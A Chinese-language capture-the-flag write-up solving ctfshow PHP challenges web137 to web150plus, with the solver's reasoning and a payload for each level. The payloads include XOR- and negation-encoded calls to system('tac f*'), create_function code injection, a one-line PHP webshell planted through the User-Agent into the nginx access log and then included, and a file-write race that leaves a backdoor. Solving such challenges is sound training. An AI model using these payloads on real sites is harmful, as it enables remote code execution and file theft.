call_user_func是将第一个参数作为回调函数使用,我们正常调用静态变量的方法是ctfshow::getFlag(),但因为call_user_func函数的存在,所以不用()。

payload:

ctfshow=ctfshow::getFlag

查看源代码得到flag。

web138

这题相较于上一题过滤了冒号,意味着不能用上题那样的调用方法,自己想了想strripos绕不过,只能换一种调用方法了。PHP: call_user_func - Manual

也就是说call_user_func(array(Foo, test));

这时候会调用Foo中的test方法

payload:

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

这题虽然看懂了,不过写python脚本还不太会.......所以先跳过吧

web140

这题的话算比较简单吧,正则匹配是字母或者数字就行,然后看到最后一个if处 ,然intval($code)全等于ctfshow肯定有些难度,这里是弱比较,尝试一下让令intval($code)=0。

intval()会将非数字字符转换为0,intval('aa')=0,intval('/')=0......,所以我们的payload:

f1=system&f2=system
or
f1=system&f2=phpinfo
or
f1=md5&f2=md5

web141

这题首先要求v1和v2是数字或者数字字符串,然后进行正则匹配,要求v3匹配非字母、数字、下划线。

仔细想一想,v1和v2都是数字大概是利用不了的,利用点可能在v3这里。但是eval("return 1;phpinfo();1)是无法执行命令的。所以这里利用php很有意思的一点,eval("return 1-phpinfo()-1")可以成功执行命令,我们在本地调试一下;

可以执行成功,这个-可以换成+号,不过要url编码。

到这里我们思路已经有了,?v1=1&v2=1&v3=system('tac f*'),接下来就是通过脚本去构造v3的字符了,因为url编码可以过(preg_match('/^\W+$/', $v3)的检测。

可以看到匹配成功,我们借助yu师傅的脚本构造一下取反 无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_羽的博客-CSDN博客_异或绕过

payload:

?v1=1&v3=-(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)-&v2=1

web142

这题难度为0,检测v1是否是字符串,然后sleep($d),沉睡$d秒,这里让v1=0可得$d=0,即可立刻得到flag。

payload:

?v1=0

web143

这题的话也算比较简单吧,141的plus版,过滤了-和+我们无法1-phpinfo()-2这样执行命令,但是可以用*

那么后面就是脚本的选择问题了,这题也过滤了~,所以取反是不可能的,用异或脚本可以。

payload:

?v1=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*&v2=1

web144

这题的话也是比较简单的,要求v3中字符串的长度不超过1,那么这个东西是很难绕过的。那我们换一下思路,题目正则检查v2的字符串,那么我们可以在v2处执行命令。

如何在v2处执行命令呢?我们在本地试一试,发现eval("return 11-phpinfo();")可以执行命令,所以利用141的取反,payload就有了。

payload:

?v1=1&v3=1&v2=-(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)

web145

这题还是挺简单的,和141差不多,过滤了/和*意味着,eval("return 1/phpinfo()/1;")的执行方式不行了,在本地调试一下,发现|可以用。

同时这题过滤了^,就不能用异或了。不过可以用取反。

payload:

?v1=1&v3=|(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)|&v2=1

后面看了一下羽师傅的wp,可以妙用三目运算符来解决

payload:

?v1=1&v3=?(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5):&v2=1

web146

这题过滤了:,意味着三目运算符的方式不能用,不过|还是可以用的。^这个也过滤了,可以用取反来执行命令,也就和上一题的第一个payload一样吧。

payload:

?v1=1&v3=|(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)|&v2=1

web147

看到这题,后面应该是要通过函数来执行命令。得先绕过正则,这个正则的意思是不能匹配到以数字或者字母开头的东西,那么我们得先找到一个不影响函数调用的字符,可以通过爆破来得到。

这里已经知道这个字符是\了,说一下原因。php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

create_function('$a,$b','return 111')==>function a($a, $b){return 111;
}

如果我们要执行命令,得先跳出这个函数定义

create_function('$a,$b','return 111;}phpinfo();//')==>function a($a, $b){return 111;}phpinfo();//
}//从而执行phpinfo命令

更具体原理的话可以看这篇Code Breaking 挑战赛 Writeup

这样子我们就可以执行任意命令了

payload:

get: ?show=echo 123;}system('tac f*');//
post: ctf=%5ccreate_function    

web148

这题先是正则过滤,后面是代码执行,想要直接利用这个函数是不行的,可以在本地传code=get_ctfshow_f10g调试一下,不会输出任何东西。然而直接@eval(get_ctfshow_f10g)是可以输出的,造成这样的原因可能是$code是变量吧。

所以这里直接利用异或进行代码执行:

非预期解:

?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");

预期解:

?code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*

"`{{{"^"?<>/"; 异或出来的结果是 _GET

web149

这题的话一看到肯定是条件竞争了,但参考羽师傅的wp就好像不需要竞争了

payload:

get:  ?ctf=index.php
post: show=<?php system('tac /c*');?>

下面说一下竞争的做法

get: ?ctf=1.php
post: show=<?php system('tac /c*');?>

在bp爆破模块一直发上面的payload,同时打开另一个不断访问1.php,也可以留个一句话后门,具体操作的话看到这篇博客的第十八关。好像平台限制了线程为5,暂时难做竞争

upload靶场第一-二十一关_..-CSDN博客

web150

这题的话属于新姿势学习,利用日志包含。前面的话还是一大堆函数方法,直接看到最后一行,判断$isVIP && strrpos($ctf,";")===FLASE。

在本地调试了一下,发现$isVIP的值为NULL,NULL && FLASE !==FLASE,但是1 && FLASE ===FLASE,这个1可以是字符或者其它东西。

正好前面有$key = $_SERVER['QUERY_STRING'];可以完成变量覆盖,满足条件可以进行include,接下来了解一下User Agent这个东西。

什么是User Agent?简单了解一下 - 简书

用户代理_百度百科

我们知道User Agent里面的东西会被记录在日志文件里面,那么我们直接在User Agent里面写一句话木马<?php eval($_POST[1]);?>,然后执行,日志文件里面就有一句话木马了。

接着我们的payload:

get: ?isVIP=1
post: ctf=var/log/nginx/access.log&1=system('tac f*');

web150plus

这题过滤了log,意味着用不了日志包含了。那么这题的话就得好好利用这些函数了,出题人有点小坑,到isVIP后面的}时这个CTFSHOW的类已经结束了,__autoload是类之外的东西。

__autoload — 尝试加载未定义的类,在进行if(class_exists($__CTFSHOW__))判断时,会自动调用__autoload 这个方法。那么我们直接让__CTFSHOW__等于phpinfo,在调用__autoload时后面会执行$class();,即执行phpinfo()。

但现在存在一个问题,上面正则过滤了_,我们传不了__CTFSHOW__ 。解决这个只需要传..CTFSHOW..就行了,因为变量名中的点(.)会被转换成下划线(_)。

payload:

?..CTFSHOW..=phpinfo

然后在页面中国ctrl+f搜索flag就可以了,至于为什么会这么会这样子出题,是因为原来的题目需要占用很大资源,所以群主改了一下.....

exp:https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py

ctfshow php特性(89——150plus)相关推荐

  1. ctfshow php特性 下

    目录 web113 web114 web115 web123(php解析特性) web125 web126 web127(php解析特性) web128 web129 web130 web131 we ...

  2. ctfshow php特性 web89-web115 web123-150wp

    php特性 参考博客仍然是南神博客 文章目录 php特性 web89 web90 web91 web92 web93 web94 web95 web96 web97 web98 web99 web10 ...

  3. CTFshow php特性 web150plus

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  4. CTFshow php特性 web150

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  5. CTFshow php特性 web147

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  6. CTFshow php特性 web140

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  7. CTFshow php特性 web138

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  8. CTFshow php特性 web137

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  9. CTFshow php特性 web136

    目录 源码 思路 题解 解法1 解法2 解法3 总结 源码 <?php error_reporting(0); function check($x){if(preg_match('/\\$|\. ...

最新文章

  1. 数据科学家成长指南(下)
  2. u3d文件上传至服务器,unity 上传图片到云服务器
  3. HTTP之Cache-Control基本概念以及实例(C++ Qt实现)
  4. 《Go语言程序设计》 读书笔记 (八) 包
  5. 【MySQL5.7版本单节点大数据量迁移到PXC8.0版本集群全记】
  6. LeCun:深度学习在信号理解中的强大和局限(视频+PPT)
  7. 解决电脑启动报:Reboot and select proper boot device
  8. 2012 国庆中秋黄金周流水帐
  9. 失败的过去式英文翻译_过去式用英语怎么说
  10. mysql套接字连接_无法通过Remote上的套接字连接到本地MySQL服务器
  11. nginx参数keepalive_timeout
  12. 你需要知道的关于元宇宙NFT平台艺术数字藏品交易的一切
  13. redis修改密码(windows)
  14. 未来第五代计算机的发展方向,走进新时代 从五代酷睿看未来电脑发展
  15. 业务与系统的傲慢与偏见
  16. 大战在即!手机芯片巨头“All in”智能汽车,5G只是冰山一角
  17. 推荐:mysql锁 innodb下的记录锁,间隙锁,next-key锁
  18. atoi()函数的实现
  19. 服务器一直即将注销你的登录,Msdn我告诉你Win10系统提示即将注销你的登录?
  20. 扭矩大好还是马力大好_马力大和扭矩大哪个更重要,马力和扭矩详解

热门文章

  1. php mysql存储过程写法_mysql存储过程写法
  2. 第37条:理解“块”这一概念
  3. 自考计算机及应用英语作文,历年自考英语作文范文【九年期末英语作文及范文】...
  4. 【自学Java】Java if else-if else语句
  5. 每日技巧分享:视频加水印怎么加
  6. 自行车运动模型及其线性化
  7. JUC高级-0625
  8. 华笙(华升)5.1,5.2,6.3
  9. [设计模式]设计模式之禅关于单例模式
  10. 柔性电子: 石墨烯涂覆poly(dopamine)和还原石墨烯涂覆的Poly(vinyl alchol)复合材料的机械性能和用于压阻